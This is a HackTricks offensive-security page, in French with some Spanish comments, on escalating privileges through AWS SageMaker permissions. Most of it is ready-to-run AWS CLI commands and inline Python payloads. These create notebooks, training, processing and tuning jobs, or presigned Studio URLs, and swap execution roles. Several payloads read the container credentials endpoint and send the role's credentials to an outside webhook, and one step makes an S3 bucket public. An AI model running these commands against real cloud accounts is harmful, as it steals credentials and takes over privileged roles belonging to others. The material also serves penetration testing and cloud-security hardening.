AWS - Sagemaker Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Commencez par créer un notebook avec le rÎle IAM attaché :

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

La rĂ©ponse doit contenir un champ NotebookInstanceArn, qui contiendra l’ARN de la notebook instance nouvellement créée. Nous pouvons ensuite utiliser l’API create-presigned-notebook-instance-url pour gĂ©nĂ©rer une URL que nous pourrons utiliser pour accĂ©der Ă  la notebook instance une fois qu’elle sera prĂȘte :

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Naviguez vers l’URL avec le navigateur et cliquez sur `Open JupyterLab`` en haut Ă  droite, puis faites dĂ©filer jusqu’à l’onglet “Launcher” et, dans la section “Other”, cliquez sur le bouton “Terminal”.

Il est maintenant possible d’accĂ©der aux metadata credentials du IAM Role.

Impact potentiel : Privesc to the sagemaker service role specified.

sagemaker:CreatePresignedNotebookInstanceUrl

Si des Jupyter notebooks sont dĂ©jĂ  en cours d’exĂ©cution dessus et que vous pouvez les lister avec sagemaker:ListNotebookInstances (ou les dĂ©couvrir d’une autre maniĂšre). Vous pouvez gĂ©nĂ©rer une URL pour eux, y accĂ©der, et voler les credentials comme indiquĂ© dans la technique prĂ©cĂ©dente.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Impact potentiel : Privesc vers le rÎle de service sagemaker attaché.

sagemaker:CreatePresignedDomainUrl

Warning

Cette attaque ne fonctionne que sur les anciens domaines traditionnels SageMaker Studio, pas sur ceux créés par SageMaker Unified Studio. Les domaines provenant de Unified Studio renverront l’erreur : “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.

Une identitĂ© disposant de l’autorisation d’appeler sagemaker:CreatePresignedDomainUrl sur un UserProfile cible peut gĂ©nĂ©rer une URL de connexion qui authentifie directement dans SageMaker Studio en tant que ce profil. Cela donne au navigateur de l’attaquant une session Studio qui hĂ©rite des permissions du ExecutionRole du profil et un accĂšs complet au rĂ©pertoire personnel du profil montĂ© sur EFS et Ă  ses applications. Aucune iam:PassRole ni accĂšs console n’est requis.

Exigences:

  • Un SageMaker Studio Domain et un UserProfile cible Ă  l’intĂ©rieur de celui-ci.
  • Le principal attaquant a besoin de sagemaker:CreatePresignedDomainUrl sur le UserProfile cible (au niveau ressource) ou *.

Exemple minimal de policy (restreinte Ă  un seul UserProfile) :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

Étapes d’abus:

  1. Enumerate un Studio Domain et des UserProfiles que vous pouvez cibler
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. VĂ©rifiez que unified studio n’est pas utilisĂ© (attack fonctionne uniquement sur les domaines SageMaker Studio traditionnels)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. Générer une presigned URL (valide ~5 minutes par défaut)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. Ouvrez l’URL renvoyĂ©e dans un navigateur pour vous connecter Ă  Studio en tant qu’utilisateur cible. Dans un terminal Jupyter Ă  l’intĂ©rieur de Studio, vĂ©rifiez l’identitĂ© effective ou exfiltrate the token:
aws sts get-caller-identity

Notes:

  • --landing-uri peut ĂȘtre omis. Certaines valeurs (par ex., app:JupyterLab:/lab) peuvent ĂȘtre rejetĂ©es selon la flavor/version de Studio ; les valeurs par dĂ©faut redirigent gĂ©nĂ©ralement vers la page d’accueil de Studio puis vers Jupyter.
  • Les politiques d’entreprise/restrictions des endpoints VPC peuvent toujours bloquer l’accĂšs rĂ©seau ; l’émission du token ne nĂ©cessite pas de connexion Ă  la console ni iam:PassRole.

Impact potentiel : Mouvement latĂ©ral et escalade de privilĂšges en assumant n’importe quel Studio UserProfile dont l’ARN est autorisĂ©, en hĂ©ritant de son ExecutionRole et de son systĂšme de fichiers/apps.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

Une identitĂ© ayant la permission d’appeler sagemaker:CreatePresignedMlflowTrackingServerUrl (et sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments pour l’accĂšs ultĂ©rieur) pour une cible SageMaker MLflow Tracking Server peut gĂ©nĂ©rer une URL prĂ©signĂ©e Ă  usage unique qui authentifie directement l’utilisateur auprĂšs de l’UI gĂ©rĂ©e MLflow pour ce serveur. Cela accorde le mĂȘme accĂšs qu’un utilisateur lĂ©gitime (voir/crĂ©er des experiments et des runs, et tĂ©lĂ©charger/tĂ©lĂ©verser des artifacts dans le magasin d’artifacts S3 du serveur).

Prérequis :

  • Un SageMaker MLflow Tracking Server dans le compte/rĂ©gion et son nom.
  • Le principal attaquant doit avoir sagemaker:CreatePresignedMlflowTrackingServerUrl sur la ressource MLflow Tracking Server cible (ou *).

Étapes d’abus :

  1. ÉnumĂ©rez les MLflow Tracking Servers que vous pouvez cibler et choisissez-en un nom
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. Générer une URL MLflow UI pré-signée (valide pendant une courte période)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. Ouvrez l’URL retournĂ©e dans un navigateur pour accĂ©der Ă  la MLflow UI en tant qu’utilisateur authentifiĂ© pour ce Tracking Server.

Impact potentiel : AccĂšs direct Ă  la MLflow UI gĂ©rĂ©e pour le Tracking Server ciblĂ©, permettant la consultation et la modification des expĂ©riences/exĂ©cutions et la rĂ©cupĂ©ration ou le tĂ©lĂ©versement d’artefacts stockĂ©s dans le S3 artifact store configurĂ© du serveur, dans les limites des permissions appliquĂ©es par la configuration du serveur.

sagemaker:CreateProcessingJob, iam:PassRole

Un attaquant disposant de ces permissions peut faire en sorte que SageMaker exĂ©cute un processing job avec un rĂŽle SageMaker attachĂ©. En rĂ©utilisant l’un des AWS Deep Learning Containers qui incluent dĂ©jĂ  Python (et en exĂ©cutant le job dans la mĂȘme rĂ©gion que l’URI), il peut lancer du code en ligne sans construire ses propres images :

REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. AsegĂșrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Impact potentiel : Privesc vers le sagemaker service role spécifié.

sagemaker:CreateTrainingJob, iam:PassRole

Un attaquant disposant de ces permissions peut lancer un training job qui exĂ©cute du code arbitraire avec le rĂŽle indiquĂ©. En utilisant un conteneur officiel de SageMaker et en Ă©crasant l’entrypoint avec un payload inline, vous n’avez pas besoin de construire vos propres images :

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imĂĄgenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Impact potentiel : Privesc vers le rÎle de service SageMaker spécifié.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Un attacker disposant de ces permissions peut lancer un HyperParameter Tuning Job qui exĂ©cute du code contrĂŽlĂ© par l’attacker sous le rĂŽle fourni. Le mode script nĂ©cessite d’hĂ©berger le payload dans S3, mais toutes les Ă©tapes peuvent ĂȘtre automatisĂ©es depuis la CLI:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Avec l’autorisation de mettre Ă  jour un SageMaker Studio User Profile, de crĂ©er une app, une URL prĂ©signĂ©e vers l’app et iam:PassRole, un attaquant peut dĂ©finir le ExecutionRole sur n’importe quel rĂŽle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancĂ©es pour ce profil s’exĂ©cuteront avec le rĂŽle Ă©changĂ©, offrant des permissions Ă©levĂ©es interactives via des terminaux Jupyter ou des jobs lancĂ©s depuis Studio.

Warning

Cette attaque nĂ©cessite qu’il n’y ait aucune application dans le profil, sinon la crĂ©ation de l’app Ă©chouera avec une erreur similaire Ă  : An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. S’il existe des applications, vous aurez besoin de la permission sagemaker:DeleteApp pour les supprimer d’abord.

Étapes:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Impact potentiel : ÉlĂ©vation de privilĂšges aux permissions du rĂŽle d’exĂ©cution SageMaker spĂ©cifiĂ© pour les sessions Studio interactives.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Avec les permissions permettant de mettre Ă  jour un SageMaker Studio Domain, de crĂ©er une app, une URL prĂ©signĂ©e pour l’app, et iam:PassRole, un attaquant peut dĂ©finir le ExecutionRole par dĂ©faut du domaine sur n’importe quel rĂŽle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancĂ©es pour ce profil s’exĂ©cuteront avec le rĂŽle Ă©changĂ©, offrant des permissions Ă©levĂ©es interactives via des terminaux Jupyter ou des jobs lancĂ©s depuis Studio.

Warning

Cette attaque nĂ©cessite qu’il n’y ait aucune application dans le domaine, sinon la crĂ©ation de l’app Ă©chouera avec l’erreur : An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

Étapes:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Impact potentiel : Escalade de privilĂšges vers les autorisations du rĂŽle d’exĂ©cution SageMaker spĂ©cifiĂ© pour les sessions interactives de Studio.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

Un attaquant disposant de l’autorisation de crĂ©er une app SageMaker Studio pour un UserProfile ciblĂ© peut lancer une JupyterServer app qui s’exĂ©cute avec le ExecutionRole du profil. Cela fournit un accĂšs interactif aux autorisations du rĂŽle via les terminaux Jupyter ou les jobs lancĂ©s depuis Studio.

Étapes :

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Impact potentiel: AccĂšs interactif au rĂŽle d’exĂ©cution SageMaker attachĂ© au UserProfile cible.

iam:GetUser, datazone:CreateUserProfile

Un attaquant disposant de ces permissions peut permettre Ă  un IAM user d’accĂ©der Ă  un Sagemaker Unified Studio Domain en crĂ©ant un DataZone User Profile pour cet utilisateur.

# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

L’URL du Unified Domain a le format suivant : https://<domain-id>.sagemaker.<region>.on.aws/ (p. ex. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Impact potentiel : AccĂšs au Sagemaker Unified Studio Domain en tant qu’utilisateur, permettant d’accĂ©der Ă  toutes les ressources du domaine Sagemaker et mĂȘme d’escalader les privilĂšges vers le rĂŽle utilisĂ© par les notebooks prĂ©sents dans le Sagemaker Unified Studio Domain.

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks